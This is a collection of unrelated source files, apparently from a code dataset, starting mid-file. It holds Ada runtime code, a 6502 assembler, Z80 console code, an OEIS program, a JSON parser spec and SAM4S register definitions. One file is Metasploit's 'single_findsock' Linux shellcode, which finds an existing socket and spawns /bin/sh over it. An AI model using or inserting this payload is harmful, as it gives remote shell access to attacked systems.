return Wide_Wide_Character_Sequence
is
Map_Data : constant not null Map_Data_Access :=
Controlled_Maps.Reference (Map);
pragma Check (Validate, Naked_Maps.Debug.Valid (Map_Data.all));
begin
return Map_Data.To;
end Overloaded_To_Range;
overriding function "=" (Left, Right : Character_Mapping) return Boolean is
Left_Data : constant not null Map_Data_Access :=
Controlled_Maps.Reference (Left);
pragma Check (Validate, Naked_Maps.Debug.Valid (Left_Data.all));
Right_Data : constant not null Map_Data_Access :=
Controlled_Maps.Reference (Right);
pragma Check (Validate, Naked_Maps.Debug.Valid (Right_Data.all));
begin
return Left_Data = Right_Data
or else (
Left_Data.From = Right_Data.From
and then Left_Data.To = Right_Data.To);
end "=";
package body Controlled_Maps is
function Create (Data : not null Map_Data_Access)
return Character_Mapping is
begin
return (Finalization.Controlled with Data => Data);
end Create;
function Reference (Object : Maps.Character_Mapping)
return not null Map_Data_Access is
begin
return Character_Mapping (Object).Data;
end Reference;
overriding procedure Adjust (Object : in out Character_Mapping) is
begin
System.Reference_Counting.Adjust (
Upcast (Object.Data'Unchecked_Access));
end Adjust;
overriding procedure Finalize (Object : in out Character_Mapping) is
begin
System.Reference_Counting.Clear (
Upcast (Object.Data'Unchecked_Access),
Free => Free_Map_Data'Access);
end Finalize;
package body Streaming is
-- compatibility with
-- Ordered_Maps (Wide_Wide_Character, Wide_Wide_Character)
-- and Hashed_Maps (Wide_Wide_Character, Wide_Wide_Character, ...)
procedure Read (
Stream : not null access Streams.Root_Stream_Type'Class;
Item : out Character_Mapping)
is
Length : Integer;
begin
Integer'Read (Stream, Length);
Finalize (Item);
Item.Data := Empty_Map_Data'Unrestricted_Access;
if Length > 0 then
Item.Data := new Map_Data'(
Length => Length,
Reference_Count => 1,
From => <>,
To => <>);
declare
Data : constant not null Map_Data_Access := Item.Data;
begin
for I in 1 .. Length loop
Wide_Wide_Character'Read (Stream, Data.From (I));
Wide_Wide_Character'Read (Stream, Data.To (I));
end loop;
end;
pragma Check (Validate, Naked_Maps.Debug.Valid (Item.Data.all));
end if;
end Read;
procedure Write (
Stream : not null access Streams.Root_Stream_Type'Class;
Item : Character_Mapping)
is
pragma Check (Validate, Naked_Maps.Debug.Valid (Item.Data.all));
Data : constant not null Map_Data_Access := Item.Data;
begin
Integer'Write (Stream, Data.Length);
for I in 1 .. Data.Length loop
Wide_Wide_Character'Write (Stream, Data.From (I));
Wide_Wide_Character'Write (Stream, Data.To (I));
end loop;
end Write;
end Streaming;
end Controlled_Maps;
end Ada.Strings.Maps;
|
external/source/shellcode/linux/ia32/single_findsock.asm | madhavarao-yejarla/VoIP | 35 | 92489 | <reponame>madhavarao-yejarla/VoIP<gh_stars>10-100
;;
;
; Name: single_findsock
; Platforms: Linux
; Authors: vlad902 <vlad902 [at] gmail.com>
; Authors: skape <mmiller [at] hick.org>
; Version: $Revision: 1856 $
; License:
;
; This file is part of the Metasploit Exploit Framework
; and is subject to the same licenses and copyrights as
; the rest of this package.
;
; Description:
;
; Search file descriptors based on source port.
;
;;
BITS 32
global main
main:
xor edx, edx
push edx
mov ebp, esp
push byte 0x07
pop ebx
push byte 0x10
push esp
push ebp
push edx
mov ecx, esp
getpeername_loop:
inc dword [ecx]
push byte 0x66
pop eax
int 0x80
cmp word [ebp + 2], 0x5c11
jne getpeername_loop
pop ebx
push byte 0x02
pop ecx
dup2_loop:
mov al, 0x3f
int 0x80
dec ecx
jns dup2_loop
push edx
push dword 0x68732f2f
push dword 0x6e69622f
mov ebx, esp
push edx
push ebx
mov ecx, esp
mov al, 0x0b
int 0x80
|
examples/stackoverflow.adb | ytomino/drake | 33 | 19556 | with Ada;
with System.Stack;
with System.Storage_Elements.Formatting;
procedure stackoverflow is
package SSEF renames System.Storage_Elements.Formatting;
procedure Put_Stack_Range is
Stack_Top, Stack_Bottom : System.Address;
begin
System.Stack.Get (Top => Stack_Top, Bottom => Stack_Bottom);
Ada.Debug.Put ("top = " & SSEF.Image (Stack_Top));
Ada.Debug.Put ("here = " & SSEF.Image (Stack_Top'Address));
Ada.Debug.Put ("bottom = " & SSEF.Image (Stack_Bottom));
end Put_Stack_Range;
Count : Natural;
procedure Do_Overflow is
Big_Local : String (1 .. 1024 * 1024);
begin
Ada.Debug.Put ("enter");
Count := Count + 1;
-- begin jamming optimization before recursive
Big_Local (1 .. 3) := Integer'Image (-99);
-- end jamming optimization before recursive
Do_Overflow;
-- begin jamming optimization after recursive
if Integer'Value (Big_Local (1 .. 3)) /= -99 then
raise Program_Error;
end if;
-- end jamming optimization after recursive
Ada.Debug.Put ("leave");
end Do_Overflow;
Count_1, Count_2 : Natural;
begin
Put_Stack_Range;
Ada.Debug.Put ("**** try 1 ****");
Try_1 : begin
Count := 0;
Do_Overflow;
raise Program_Error;
exception
when Storage_Error =>
Ada.Debug.Put ("Storage_Error has raised on try 1");
Count_1 := Count;
end Try_1;
Ada.Debug.Put ("**** try 2 ****");
Try_2 : begin
Count := 0;
Do_Overflow;
raise Program_Error;
exception
when Storage_Error =>
Ada.Debug.Put ("Storage_Error has raised on try 2");
Count_2 := Count;
end Try_2;
pragma Assert (Count_1 = Count_2);
Ada.Debug.Put ("**** in task ****");
Try_Task : declare
task T;
task body T is
begin
Put_Stack_Range;
Ada.Debug.Put ("here is in task");
Do_Overflow;
exception
when Storage_Error =>
Ada.Debug.Put ("Storage_Error has raised in task");
end T;
begin
null;
end Try_Task;
pragma Debug (Ada.Debug.Put ("OK"));
end stackoverflow;
|
libsrc/target/pc88/stdio/generic_console_ioctl.asm | Frodevan/z88dk | 38 | 1361 |
MODULE generic_console_ioctl
PUBLIC generic_console_ioctl
SECTION code_clib
EXTERN generic_console_cls
EXTERN __console_h
EXTERN __console_w
EXTERN __pc88_mode
EXTERN generic_console_font32
EXTERN generic_console_udg32
EXTERN generic_console_caps
EXTERN pc88bios
INCLUDE "ioctl.def"
PUBLIC CLIB_GENCON_CAPS
defc CLIB_GENCON_CAPS = 0
defc CLIB_GENCON_CAPS_MODE2 = CAP_GENCON_FG_COLOUR | CAP_GENCON_BG_COLOUR | CAP_GENCON_INVERSE | CAP_GENCON_CUSTOM_FONT | CAP_GENCON_UDGS | CAP_GENCON_BOLD | CAP_GENCON_UNDERLINE
; a = ioctl
; de = arg
generic_console_ioctl:
ex de,hl
ld c,(hl) ;bc = where we point to
inc hl
ld b,(hl)
cp IOCTL_GENCON_SET_FONT32
jr nz,check_set_udg
ld (generic_console_font32),bc
success:
and a
ret
check_set_udg:
cp IOCTL_GENCON_SET_UDGS
jr nz,check_mode
ld (generic_console_udg32),bc
jr success
check_mode:
cp IOCTL_GENCON_SET_MODE
jr nz,failure
ld a,c
ld bc,$5019
ld l,CLIB_GENCON_CAPS
and a
jr z,set_mode
ld l,CLIB_GENCON_CAPS_MODE2
cp 2
jr z,set_mode
ld l,CLIB_GENCON_CAPS
cp 1
ld bc,$2519
jr nz,failure
set_mode:
ld (__pc88_mode),a
ld a,b
ld (__console_w),a
ld a,c
ld (__console_h),a
ld a,l
ld (generic_console_caps),a
ld ix,$6f6b ; CRTSET
call pc88bios
call generic_console_cls
and a
ret
failure:
scf
ret
|
programs/oeis/012/A012772.asm | jmorken/loda | 1 | 9048 | ; A012772: Take every 5th term of Padovan sequence A000931, beginning with the sixth term.
; 1,3,12,49,200,816,3329,13581,55405,226030,922111,3761840,15346786,62608681,255418101,1042002567,4250949112,17342153393,70748973084,288627200960,1177482265857,4803651498529,19596955630177,79947654422626,326154101090951,1330576843394428,5428215467030962
mov $1,1
mov $3,1
lpb $0
sub $0,1
add $2,$3
add $1,$2
add $1,$3
add $3,$1
lpe
|
Monitor/assembler.asm | Martin-H1/6502 | 3 | 8616 | <reponame>Martin-H1/6502<filename>Monitor/assembler.asm
; -----------------------------------------------------------------------------
; 6502 assembler losely based on a reverse engineering of <NAME>'s
; SBC OS. It will depend upon the stack, list, and I/O functions defined
; in the other modules.
; <NAME> <<EMAIL>>
; -----------------------------------------------------------------------------
; establish module level scope to hide module locals.
.scope
;
; Aliases
;
;
; Data segments
;
;
; Macros
;
;
; Functions
;
; Mini assembler code
Assem_Init:
tsx ;
inx ;
inx ;
inx ;
inx ;
stz $0100,x ;
jsr version ; show version and ? prompt
jmp Assembler ;
Asm_Help: lda #<AsmHelptxt ; lower byte - Menu of Commands
sta addrptr ;
lda #>AsmHelptxt ; upper byte
sta addrptr+1 ;
bra AsmHelp3 ;
ASmHelp4: cmp #$7e ; "~"
beq AsmHelp1 ;
jsr Output ;
bra AsmHelp2 ;
AsmHelp1: jsr Print_CR ;
AsmHelp2: jsr Inc_addrptr ;
AsmHelp3: lda (addrptr) ;
bne AsmHelp4 ;
jsr Opcode_List ;
Assembler:
LDX #$FF ;
TXS ; init stack
stz HexDigCnt ;
jsr Input_assem ;
ldy #$00 ; beginning of input line
lda buffer ;
cmp #$0d ; Enter = done
bne Asm01 ;
JMP Monitor ; exit assembler
Asm01: cmp #$3f ; "?" Print Help
beq Asm_Help ;
cmp #$20 ; space
beq Asm_opfetch ;
cmp #$3b ; ";" ignore line
beq Assembler ;
cmp #$4C ; "L" list
beq Asm_List ;
cmp #$24 ; "$" ignore this
bne Asm02 ;
iny ;
Asm02: STZ Hexdigits ; holds parsed hex
STZ Hexdigits+1 ;
JSR ParseHexDig ; get Hex Chars
LDX Hexdigcnt ;
Beq Asm_Err ;
cmp #$4C ; "L" do list ???
Beq Asm_List1 ;
cmp #$20 ; Space
Beq Asm_opfetch ;
Asm_Err: tya ; get line pointer
tax ;
lda #$0a ; LF move down one line
jsr output ;
jsr PrintXSP ; move to where error occured
lda #$5E ; "^" ???
jsr Output ; mark it
jsr bell ;
bra Assembler ;
Asm_list: stz HexDigcnt ;
Asm_List1: jsr List_Cmd_1 ;
Asm_hop: bra Assembler ;
Asm_opfetch: lda HexDigCnt ;
beq Asm_op01 ; no address change
LDX Hexdigits ;
LDA Hexdigits+1 ;
STX AddrPtr ;
STA AddrPtr+1 ;
dey ;
Asm_stripSP: iny ;
Asm_op01: lda buffer,y ;
cmp #$20 ; strip spaces
beq Asm_stripSP ;
cmp #$0d ; done
beq Asm_hop ;
cmp #$3b ; ";" comment char done
beq Asm_hop ;
ldx #$00 ;
stx OpcTxtPtr ;
sty LineCnt ;
Asm_opclp: ldy LineCnt ;
lda OpcTxtPtr ;
ASL ;
adc OpcTxtPtr ;
tax ;
lda buffer,y ;
iny ;
cmp OpcTxtData,x ;
bne Asm_getnext ;
lda buffer,y ;
inx ;
iny ;
cmp OpcTxtData,x ;
bne Asm_getnext ;
lda buffer,y ;
inx ;
iny ;
cmp OpcTxtData,x ;
beq Asm_goodop ;
Asm_getnext: ldx OpcTxtPtr ;
inx ;
stx OpcTxtPtr ;
cpx #$4A ; last one? then err
bne Asm_opclp
Asm_err2: jmp Asm_err
Asm_goodop: lda #$00
sta ModeJmp ;
dec ModeJmp ; init to FF for () check
sta HexDigits ; and Byte holder
sta HexDigits+1 ;
sta HexDigCnt ;
ldx OpcTxtPtr ;
cpx #$42 ;
bmi Asm_goodSP ; not a 4 chr opcode
cpx #$46
bpl Asm_goodSP ; not a 4 chr opcode
lda buffer,y ; get next chr
iny ; advance pointer
cmp #$38 ;
bpl Asm_err2 ; not chr "0"-"7"
cmp #$30
bmi Asm_err2 ; not chr "0"-"7"
ASL
ASL
ASL
ASL
sta startaddr+1 ; temp holder for 4th chr opcode
LDA #$80 ; flag for
Asm_goodSP: ldx buffer,y ; get next operand char
iny ; point to next operand chr
cpx #$20 ; sp
bne Asm_GoodSP2
cmp #$80
bmi Asm_goodSP
Asm_goodSP1: ldx OpcTxtPtr ; check if its a BBRx or BBSx opcode
cpx #$44 ;
bpl Asm_GoodSP ;
ldx HexDigCnt ;
beq Asm_goodSP ;
cmp #$D0 ; already have zp & rel?
bpl Asm_GoodSP ; we don't care then
cmp #$C0 ; already got a zp address?
bpl Asm_Err2 ; then error
ldx HexDigits+1
bne Asm_err2 ; not zero page
ldx HexDigits
stx startaddr ; temp zp value for BBRx & BBSx cmds
ora #$40 ; mark zp address fetched
and #$F7 ; mask out zp address found
bra Asm_goodSP ; get next chr
Asm_goodSp2: cpx #$0d ; CR
bne Asm_eol
Asm_jmp1: jmp Asm_modeSrch
Asm_eol: cpx #$3b ; ";"
beq Asm_jmp1
pha
lda OpcTxtPtr
cmp #$46 ; normal opcode if <=45h
bmi Asm_opnd1
bne Asm_xtra1
cpx #$24 ; $ .db pseudo-opcode
beq Asm_db1
dey
Asm_db1: jsr ParseHexDig
plx
ldx HexDigCnt
beq Asm_err2 ; no digits retrieved
ldy #$00
lda #$01
PHA
lda HexDigits
sta (AddrPtr),y
jmp Asm_save
Asm_xtra1: cmp #$47 ; .dw pseudo-opcode
bne Asm_xtra2
cpx #$24 ; $
beq Asm_dw1
dey
Asm_dw1: jsr ParseHexDig
plx
ldx HexDigCnt
beq Asm_err1 ; no digits retrieved
ldy #$00
lda #$02
PHA
lda HexDigits
sta (AddrPtr),y
lda HexDigits+1
iny
sta (AddrPtr),y
jmp Asm_save
Asm_xtra2: cmp #$48 ; .ds pseudo-opcode
bne Asm_err1
jmp Asm_txt
Asm_opnd1: pla
cpx #$23 ; # 20
bne Asm_parse01
ora #$20
jmp Asm_goodSP
Asm_parse01: cpx #$28 ; ( 04
bne Asm_parse02
ora #$04
ldx modeJmp
bpl Asm_err1 ; more than one (
inc ModeJmp
jmp Asm_goodSP
Asm_parse02: cpx #$29 ; )
bne Asm_parse03
ldx ModeJmp
bne Asm_err1 ; ) without (
inc ModeJmp
jmp Asm_goodSP
Asm_parse03: cpx #$2C ; ,
bne Asm_parse04
ldx buffer,y
cpx #$58 ; X 02
bne Asm_parse31
ora #$02
iny
jmp Asm_goodSP
Asm_parse31: cpx #$59 ; Y 01
beq Asm_parse32
cmp #$80 ; is BBRx or BBSx cmd active?
bmi Asm_err1 ; , without X or Y or 4byte opcode
jmp Asm_goodSP1 ; save zp address
Asm_parse32: ora #$01
iny
jmp Asm_goodSP
Asm_parse04: cpx #$24 ; $
beq Asm_parse42 ;
dey ; not #$(),X,Y so try Hexdig, if not err
Asm_parse42: pha
jsr ParseHexDig
dey ; adjust input line pointer
pla
ldx HexDigCnt
beq Asm_err1 ; no digits retrieved
ldx HexDigits+1
bne Asm_parse41
ora #$08 ; <256 08
jmp Asm_goodSP
Asm_parse41: ora #$10 ; 2 bytes 10
jmp Asm_goodSP
Asm_err1: jmp Asm_Err
Asm_ModeSrch: ldx #$0F ; # of modes
Asm_ModeS1: cmp Asm_ModeLst,x
beq Asm_ModeFnd
dex
bpl Asm_ModeS1
bra Asm_Err1 ; invalid Mode
Asm_ModeFnd: stx Memchr ; save mode
cmp #$80 ; is it 4 chr opcode?
bmi Asm_opcSrch ;no
txa
ora startaddr+1 ; adjust the psuedo mode
sta Memchr ; set proper mode
Asm_opcSrch: ldx #$00
Asm_opcSrch1: lda OpcTxtidx,x
cmp OpcTxtPtr
bne Asm_srchNxt
lda OPCaddmode,x
cmp Memchr
beq Asm_OpcFnd
Asm_srchNxt: inx
bne Asm_opcSrch1
lda Memchr ;
cmp #$02 ; ZP
bne Asm_srchAlt
LDA #$01 ; ABS
sta Memchr
bra Asm_opcSrch
Asm_srchAlt: cmp #$01 ; ABS
bne Asm_srchA0
LDA #$0A ; REL
sta Memchr
bra Asm_opcSrch
Asm_srchA0: cmp #$0d ; ind zp
bne Asm_srchA1
LDA #$0b ; ind Abs
sta Memchr
bra Asm_opcSrch
Asm_SrchA1: cmp #$07 ; zp,y
bne Asm_Err1 ; no more modes to try, bad mode err
LDA #$09 ; ABS,y
sta Memchr
bra Asm_opcSrch
Asm_OpcFnd: lda Memchr
and #$0F ; mask out psuedo modes
sta Memchr ;
CMP #$0E ; BBR mode?
bne Asm_opcFnd0 ;
jsr Asm_BRelCalc
sta HexDigits+1
lda Startaddr ;
sta Hexdigits ;
bra Asm_OpcFnd1 ;
Asm_OpcFnd0: cmp #$0A ; is Rel Mode?
bne Asm_OpcFnd1
jsr Asm_RelCalc ; adjust rel address
Asm_OpcFnd1: ldy #$00
txa
sta (AddrPtr),y
iny
ldx Memchr ;
lda ModeByteCnt,x
PHA ; Save # of bytes
cmp #$01
beq Asm_EchoL
lda HexDigits
sta (AddrPtr),y
iny
lda ModeByteCnt,x
cmp #$02
beq Asm_EchoL
lda HexDigits+1
sta (AddrPtr),y
Asm_EchoL: lda AddrPtr
sta StartAddr
lda AddrPtr+1
sta StartAddr+1
jsr List_One
Asm_Save: clc
PLA
adc AddrPtr
sta AddrPtr
bcc Asm_done
inc AddrPtr+1
Asm_done: jmp Assembler
Asm_BRelCalc: jsr Asm_relsub
sbc #$03
bra Asm_RelC1
Asm_RelSub: sec
lda Hexdigits
sbc AddrPtr
sta Memptr
lda Hexdigits+1
sbc AddrPtr+1
sta Memptr+1
sec
lda Memptr
rts
Asm_RelCalc: jsr Asm_relsub
sbc #$02
Asm_Relc1: sta Memptr
bcs Asm_relC2
dec Memptr+1
Asm_relC2: lda Memptr+1
beq Asm_relC4 ; positive
cmp #$FF ; negative
bne Asm_txtErr
lda Memptr
bpl Asm_txtErr
Asm_relC3: sta HexDigits
rts
Asm_relC4: lda Memptr
bpl Asm_relC3
Asm_txtErr: jmp Asm_Err
Asm_txt:plx ; process the .ds pseudo-opcode
dey
tya
tax
ldy #$fe
Asm_txt1: iny
Asm_txt2: lda buffer,x ; get next operand char
inx ; point to next operand chr
cmp #$0d ; CR
beq Asm_txt9
cmp #$27 ; "
bne Asm_txt3
cpy #$ff ; opening " found?
bne Asm_txt9 ; no, closing, so done
bra Asm_txt1 ; yes, get first text chr
Asm_txt3: cpy #$ff ; already found opening "?
beq Asm_txt4 ;
sta (AddrPtr),y ; yes, save chr
bra Asm_txt1
Asm_txt4: cmp #$20 ; no, if not a space, then err
beq Asm_txt2
txa
tay
bra Asm_txtErr
Asm_txt9: tya
pha
jmp Asm_save
;
Opcode_List: ldy #$49 ; Number of Opcodes (64)
ldx #$00 ; pointer to characters
Opcode_List1: txa ;
and #$0F ; Print CR after each 16 opcodes
bne Opcode_List2 ; not divisible by 16
jsr Print_CR ;
Opcode_List2: lda OPCtxtData,x ; get opcode chr data
jsr Output ; print 1st char
inx ;
lda OPCtxtData,x ;
jsr Output ; print 2nd char
inx ;
lda OPCtxtData,x ;
jsr Output ; print 3rd char
inx ;
cpy #$08 ;
bpl Opcode_List3 ; not 4 byte code
cpy #$04 ;
bmi Opcode_list3 ;
lda #$78 ; add 'x'
jsr output ; for RMBx, SMBx,BBRx, & BBSx
Opcode_List3: lda #$20 ; print space
jsr Output ;
dey ;
bne Opcode_List1 ;
jsr Print_CR ; one last CR-LF
rts ;
.scend
|
src/json-parsers.ads | Statkus/json-ada | 0 | 16865 | -- Copyright (c) 2016 onox <<EMAIL>>
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
with JSON.Types;
with JSON.Streams;
generic
with package Types is new JSON.Types (<>);
Check_Duplicate_Keys : Boolean := False;
-- If enabled, raise a Constraint_Error when an object contains
-- duplicate keys. Parsing a JSON text will be slower if enabled.
package JSON.Parsers with SPARK_Mode => On is
pragma Preelaborate;
function Parse
(Stream : aliased in out Streams.Stream'Class;
Allocator : aliased in out Types.Memory_Allocator) return Types.JSON_Value;
Parse_Error : exception;
end JSON.Parsers;
|
src/drivers/zumo_led.ads | yannickmoy/SPARKZumo | 6 | 27902 | pragma SPARK_Mode;
-- @summary
-- Controls the little yellow LED on the robot labeled LED 13
--
-- @description
-- Use this interface to turn on and off the LED 13 located near the back
-- of the robot on the right side
package Zumo_LED is
Initd : Boolean := False;
-- Initialization sequence. Muxes pins and whatnot
procedure Init
with Global => (In_Out => (Initd)),
Pre => not Initd,
Post => Initd;
-- Turns on and off the LED
-- @param On True to turn on. False to turn off
procedure Yellow_Led (On : Boolean)
with Pre => Initd;
end Zumo_LED;
|
runtime/ravenscar-sfp-stm32f427/gnarl-common/s-mufalo.adb | TUM-EI-RCS/StratoX | 12 | 29252 | <reponame>TUM-EI-RCS/StratoX<filename>runtime/ravenscar-sfp-stm32f427/gnarl-common/s-mufalo.adb
------------------------------------------------------------------------------
-- --
-- GNAT RUN-TIME LIBRARY (GNARL) COMPONENTS --
-- --
-- S Y S T E M . M U L T I P R O C E S S O R S . F A I R _ L O C K S --
-- --
-- B o d y --
-- --
-- Copyright (C) 2010, AdaCore --
-- --
-- GNARL is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNARL is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. --
-- --
-- --
-- --
-- --
-- --
-- You should have received a copy of the GNU General Public License and --
-- a copy of the GCC Runtime Library Exception along with this program; --
-- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see --
-- <http://www.gnu.org/licenses/>. --
-- --
------------------------------------------------------------------------------
with System.OS_Interface;
package body System.Multiprocessors.Fair_Locks is
use System.Multiprocessors.Spin_Locks;
Multiprocessor : constant Boolean := CPU'Range_Length /= 1;
-- Set true if on multiprocessor (more than one CPU)
function Next_Spinning (Flock : Fair_Lock) return CPU;
pragma Inline (Next_Spinning);
-- Search for the next spinning CPU. If no one is spinning return the
-- current CPU.
----------------
-- Initialize --
----------------
procedure Initialize (Flock : in out Fair_Lock) is
begin
Unlock (Flock.Lock);
Flock.Spinning := (others => False);
end Initialize;
----------
-- Lock --
----------
procedure Lock (Flock : in out Fair_Lock) is
CPU_Id : constant CPU := System.OS_Interface.Current_CPU;
Succeeded : Boolean;
begin
-- Notify we are waiting for the lock
Flock.Spinning (CPU_Id) := True;
loop
Try_Lock (Flock.Lock, Succeeded);
if Succeeded then
-- We have the lock
Flock.Spinning (CPU_Id) := False;
return;
else
loop
if not Flock.Spinning (CPU_Id) then
-- Lock's owner gives us the lock
return;
end if;
-- Lock's owner left but didn't wake us up, retry to get lock
exit when not Locked (Flock.Lock);
end loop;
end if;
end loop;
end Lock;
------------
-- Locked --
------------
function Locked (Flock : Fair_Lock) return Boolean is
begin
return Locked (Flock.Lock);
end Locked;
-------------------
-- Next_Spinning --
-------------------
function Next_Spinning (Flock : Fair_Lock) return CPU is
Current : constant CPU := System.OS_Interface.Current_CPU;
CPU_Id : CPU := Current;
begin
if Multiprocessor then
-- Only for multiprocessor
loop
if CPU_Id = CPU'Last then
CPU_Id := CPU'First;
else
CPU_Id := CPU_Id + 1;
end if;
exit when Flock.Spinning (CPU_Id) or else CPU_Id = Current;
end loop;
end if;
return CPU_Id;
end Next_Spinning;
--------------
-- Try_Lock --
--------------
procedure Try_Lock (Flock : in out Fair_Lock; Succeeded : out Boolean) is
begin
Try_Lock (Flock.Lock, Succeeded);
end Try_Lock;
------------
-- Unlock --
------------
procedure Unlock (Flock : in out Fair_Lock) is
CPU_Id : constant CPU := Next_Spinning (Flock);
begin
if CPU_Id /= System.OS_Interface.Current_CPU then
-- Wake up the next spinning CPU
Flock.Spinning (CPU_Id) := False;
else
-- Nobody is waiting for the Lock
Unlock (Flock.Lock);
end if;
end Unlock;
end System.Multiprocessors.Fair_Locks;
|
bb-runtimes/arm/sam/sam4s/svd/i-sam-sysc.ads | JCGobbi/Nucleo-STM32G474RE | 0 | 1540 | --
-- Copyright (C) 2017, AdaCore
--
-- This spec has been automatically generated from ATSAM4SD32C.svd
pragma Ada_2012;
pragma Style_Checks (Off);
with System;
package Interfaces.SAM.SYSC is
pragma Preelaborate;
pragma No_Elaboration_Code_All;
---------------
-- Registers --
---------------
-- General Purpose Backup Register
-- General Purpose Backup Register
type GPBR_GPBR_Registers is array (0 .. 7) of Interfaces.SAM.UInt32
with Volatile;
subtype RSTC_CR_KEY_Field is Interfaces.SAM.Byte;
-- Control Register
type RSTC_CR_Register is record
-- Write-only. Processor Reset
PROCRST : Boolean := False;
-- unspecified
Reserved_1_1 : Interfaces.SAM.Bit := 16#0#;
-- Write-only. Peripheral Reset
PERRST : Boolean := False;
-- Write-only. External Reset
EXTRST : Boolean := False;
-- unspecified
Reserved_4_23 : Interfaces.SAM.UInt20 := 16#0#;
-- Write-only. System Reset Key
KEY : RSTC_CR_KEY_Field := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for RSTC_CR_Register use record
PROCRST at 0 range 0 .. 0;
Reserved_1_1 at 0 range 1 .. 1;
PERRST at 0 range 2 .. 2;
EXTRST at 0 range 3 .. 3;
Reserved_4_23 at 0 range 4 .. 23;
KEY at 0 range 24 .. 31;
end record;
subtype RSTC_SR_RSTTYP_Field is Interfaces.SAM.UInt3;
-- Status Register
type RSTC_SR_Register is record
-- Read-only. User Reset Status
URSTS : Boolean;
-- unspecified
Reserved_1_7 : Interfaces.SAM.UInt7;
-- Read-only. Reset Type
RSTTYP : RSTC_SR_RSTTYP_Field;
-- unspecified
Reserved_11_15 : Interfaces.SAM.UInt5;
-- Read-only. NRST Pin Level
NRSTL : Boolean;
-- Read-only. Software Reset Command in Progress
SRCMP : Boolean;
-- unspecified
Reserved_18_31 : Interfaces.SAM.UInt14;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for RSTC_SR_Register use record
URSTS at 0 range 0 .. 0;
Reserved_1_7 at 0 range 1 .. 7;
RSTTYP at 0 range 8 .. 10;
Reserved_11_15 at 0 range 11 .. 15;
NRSTL at 0 range 16 .. 16;
SRCMP at 0 range 17 .. 17;
Reserved_18_31 at 0 range 18 .. 31;
end record;
subtype RSTC_MR_ERSTL_Field is Interfaces.SAM.UInt4;
subtype RSTC_MR_KEY_Field is Interfaces.SAM.Byte;
-- Mode Register
type RSTC_MR_Register is record
-- User Reset Enable
URSTEN : Boolean := True;
-- unspecified
Reserved_1_3 : Interfaces.SAM.UInt3 := 16#0#;
-- User Reset Interrupt Enable
URSTIEN : Boolean := False;
-- unspecified
Reserved_5_7 : Interfaces.SAM.UInt3 := 16#0#;
-- External Reset Length
ERSTL : RSTC_MR_ERSTL_Field := 16#0#;
-- unspecified
Reserved_12_23 : Interfaces.SAM.UInt12 := 16#0#;
-- Password
KEY : RSTC_MR_KEY_Field := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for RSTC_MR_Register use record
URSTEN at 0 range 0 .. 0;
Reserved_1_3 at 0 range 1 .. 3;
URSTIEN at 0 range 4 .. 4;
Reserved_5_7 at 0 range 5 .. 7;
ERSTL at 0 range 8 .. 11;
Reserved_12_23 at 0 range 12 .. 23;
KEY at 0 range 24 .. 31;
end record;
-- Time Event Selection
type CR_TIMEVSEL_Field is
(
-- Minute change
Minute,
-- Hour change
Hour,
-- Every day at midnight
Midnight,
-- Every day at noon
Noon)
with Size => 2;
for CR_TIMEVSEL_Field use
(Minute => 0,
Hour => 1,
Midnight => 2,
Noon => 3);
-- Calendar Event Selection
type CR_CALEVSEL_Field is
(
-- Week change (every Monday at time 00:00:00)
Week,
-- Month change (every 01 of each month at time 00:00:00)
Month,
-- Year change (every January 1 at time 00:00:00)
Year)
with Size => 2;
for CR_CALEVSEL_Field use
(Week => 0,
Month => 1,
Year => 2);
-- Control Register
type RTC_CR_Register is record
-- Update Request Time Register
UPDTIM : Boolean := False;
-- Update Request Calendar Register
UPDCAL : Boolean := False;
-- unspecified
Reserved_2_7 : Interfaces.SAM.UInt6 := 16#0#;
-- Time Event Selection
TIMEVSEL : CR_TIMEVSEL_Field := Interfaces.SAM.SYSC.Minute;
-- unspecified
Reserved_10_15 : Interfaces.SAM.UInt6 := 16#0#;
-- Calendar Event Selection
CALEVSEL : CR_CALEVSEL_Field := Interfaces.SAM.SYSC.Week;
-- unspecified
Reserved_18_31 : Interfaces.SAM.UInt14 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for RTC_CR_Register use record
UPDTIM at 0 range 0 .. 0;
UPDCAL at 0 range 1 .. 1;
Reserved_2_7 at 0 range 2 .. 7;
TIMEVSEL at 0 range 8 .. 9;
Reserved_10_15 at 0 range 10 .. 15;
CALEVSEL at 0 range 16 .. 17;
Reserved_18_31 at 0 range 18 .. 31;
end record;
subtype RTC_MR_CORRECTION_Field is Interfaces.SAM.UInt7;
-- RTCOUT0 Output Source Selection
type MR_OUT0_Field is
(
-- no waveform, stuck at '0'
No_Wave,
-- 1 Hz square wave
Freq1Hz,
-- 32 Hz square wave
Freq32Hz,
-- 64 Hz square wave
Freq64Hz,
-- 512 Hz square wave
Freq512Hz,
-- output toggles when alarm flag rises
Alarm_Toggle,
-- output is a copy of the alarm flag
Alarm_Flag,
-- duty cycle programmable pulse
Prog_Pulse)
with Size => 3;
for MR_OUT0_Field use
(No_Wave => 0,
Freq1Hz => 1,
Freq32Hz => 2,
Freq64Hz => 3,
Freq512Hz => 4,
Alarm_Toggle => 5,
Alarm_Flag => 6,
Prog_Pulse => 7);
-- RTCOUT1 Output Source Selection
type MR_OUT1_Field is
(
-- no waveform, stuck at '0'
No_Wave,
-- 1 Hz square wave
Freq1Hz,
-- 32 Hz square wave
Freq32Hz,
-- 64 Hz square wave
Freq64Hz,
-- 512 Hz square wave
Freq512Hz,
-- output toggles when alarm flag rises
Alarm_Toggle,
-- output is a copy of the alarm flag
Alarm_Flag,
-- duty cycle programmable pulse
Prog_Pulse)
with Size => 3;
